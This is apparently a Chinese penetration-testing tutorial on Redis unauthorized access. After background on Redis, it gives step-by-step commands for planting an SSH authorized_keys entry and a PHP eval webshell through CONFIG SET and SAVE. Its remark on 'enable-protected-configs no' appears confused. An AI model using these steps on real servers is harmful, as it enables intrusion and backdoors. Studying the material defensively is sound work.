前置知识
Redis是一个由c语言编写的基于内存且可以持久化的日志型,key-value型数据库。
之所以说他是基于内存而且可以持久化,因为它大部分数据都存储在内存中,这样提高了读写效率。而且还可以定时将内存数据同步到磁盘中。
他虽然不是web服务,但是很多web应用依赖他,所以它也属于web安全。常见的redis应用如下
- 缓存数据:Redis作为常驻内存的缓存,可以快速存取数据,从而减少对数据库的访问,提高应用性能。例如,可以在主页中显示最新的项目列表,将常用的数据存储在Redis中。
- 删除和过滤:如果一篇文章被删除,可以使用Redis的命令彻底清除掉。
- 排行榜及相关问题:Redis可以按照得分进行排序,实现排行榜功能。这就像Reddit的排行榜,得分会随着时间变化。可以使用LPUSH和LTRIM命令结合运用,把文章添加到一个列表中。一项后台任务用来获取列表,并重新计算列表的排序,ZADD命令用来按照新的顺序填充生成列表。
- 计数:Redis可以用来进行各种数据统计,比如想知道什么时候封锁一个IP地址。
- 过期项目处理:可以使用Unix时间作为关键字,用来保持列表能够按时间排序。
- 实时分析正在发生的情况:用于数据统计与防止垃圾邮件等。
- 特定时间内的特定项目:这是特定访问者的问题,可以通过给每次页面浏览使用SADD命令来解决。
那么redis还是一个key-value型数据库,它的数据都是以类似json形式存储的。相比关系型数据库有一些明显的优点和缺点
Redis的优点:
- 数据结构丰富:Redis支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等,这使得Redis可以灵活地应对各种数据处理需求。
- 读写性能优异:Redis基于内存进行数据存储,因此读写速度非常快,特别适合需要高性能读写的场景。
- 支持持久化:Redis支持将数据持久化到磁盘,可以在重启后恢复数据,保证数据的可靠性。
- 支持主从复制:Redis支持主从复制功能,主机会自动将数据同步到从机,可以进行读写分离,提高系统的可扩展性和可靠性。
- 丰富的数据操作:Redis提供了丰富的数据操作,例如发布/订阅、事务处理等,方便开发者进行各种数据处理。
然而,Redis也存在一些缺点:
- 内存消耗较大:由于Redis将数据存储在内存中,对于大规模数据的存储需求,需要考虑服务器的内存容量。
- 单线程模型:Redis采用单线程模型,对于CPU密集型的操作可能存在性能瓶颈,不适合处理大量并发请求。虽然Redis 6.0后引入了多线程模型,但仍然存在一些限制和问题。
- 数据一致性:由于Redis的主从复制存在一定的延迟,可能会导致数据在主节点和从节点之间的不一致。
- 无法处理复杂查询:Redis不支持像关系型数据库那样的复杂查询操作,对于需要进行复杂数据分析和统计的场景不太适用。
- 数据容量受限:由于Redis将数据存储在内存中,所以数据的容量受到内存大小的限制,无法存储超过内存容量的数据。
- 不具备自动容错和恢复功能:主机从机的宕机都会导致前端部分读写请求失败,需要等待机器重启或者手动切换前端的IP才能恢复。主机宕机时,部分数据未能及时同步到从机,切换IP后还会引入数据不一致的问题,降低了系统的可用性。
- 难以支持在线扩容:在集群容量达到上限时在线扩容会变得很复杂。若快照文件较大,对集群的服务能力会产生较大的影响,而且复制过程是在从机新加入集群或者从机和主机网络断开重连时都会进行,对实际的系统运营造成了不小的麻烦。
- 线程模型复杂:在多线程模式下存在死锁、线程上下文切换等问题,甚至会影响性能。单线程编程容易并且更容易维护。
redis和关系型数据库mysql一样都是c/s架构软件。都需要服务器开启服务,客户端访问对应端口
且都支持账号密码登录。默认redis是6379端口,mysql3306端口
redis未授权漏洞原因
1.redis默认密码为空,或者使用的密码属于弱口令
2.服务器将redis服务直接绑定在0.0.0.0:6379这个0.0.0.0代表可以是远程或者本地访问,如果是127.0.0.1就必须是本地才能访问,并且没有添加防火墙设置来避免非信任ip的访问
典型的redis错误配置如下
尤其是对于高版本redis,为了防止被写入ssh公钥文件和webshell。会开启enable-protected-configs no
这样对于config的dir filename都不能修改了
写入SSH公钥文件
当Redis服务存在未授权访问漏洞时,攻击者可以利用该漏洞通过Redis提供的config命令进行写文件操作。攻击者可以将自己的SSH公钥写入目标服务器的特定文件,如/root/.ssh文件夹的authorized_keys文件。一旦攻击者成功将自己的公钥写入该文件,他们可以使用对应的私钥直接使用SSH服务登录目标服务器。
前提:
1.对方服务器开启了ssh服务,支持ssh远程登录
2.对方redis服务以root权限启动,这样才有权限写权限
ssh-keygen -t rsa #生成一对rsa密钥文件,pem证书形式
成功生成密钥文件
(echo "\n\n";cat id_rsa.pub)>test.txt #将公钥导入一个文件中
cat test.txt |redis-cli -h 127.0.0.1 -p 6379 -x set hello #将公钥内容导入redis内存数据库中
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存到上面文件中
成功写入文件
之后就可以ssh远程登录了
ssh -i id_rsa [email protected]
写入WebShell
其实也和上面的写入ssh公钥一样,本质都是文件上传漏洞。这次是在web server中上传脚本木马。能够留下后门
比如上传一个php一句话木马
前提:
1.对方开启了web server并且已知web根目录。以及所使用的服务端脚本语言
2.redis有读写权限
set x "\n\n\n<?php @eval($\_POST['a']);?>\n\n\n" #加入\n\n\n防止乱码影响shell
config set dir /var/www/html #这里必须设置成web根目录下的目录,否则访问不到
config set dbfilename evil.php
save
可以看到evil.php中确实写入了一句话木马
之后使用浏览器访问写入的evil.php就行了 post: a=phpinfo();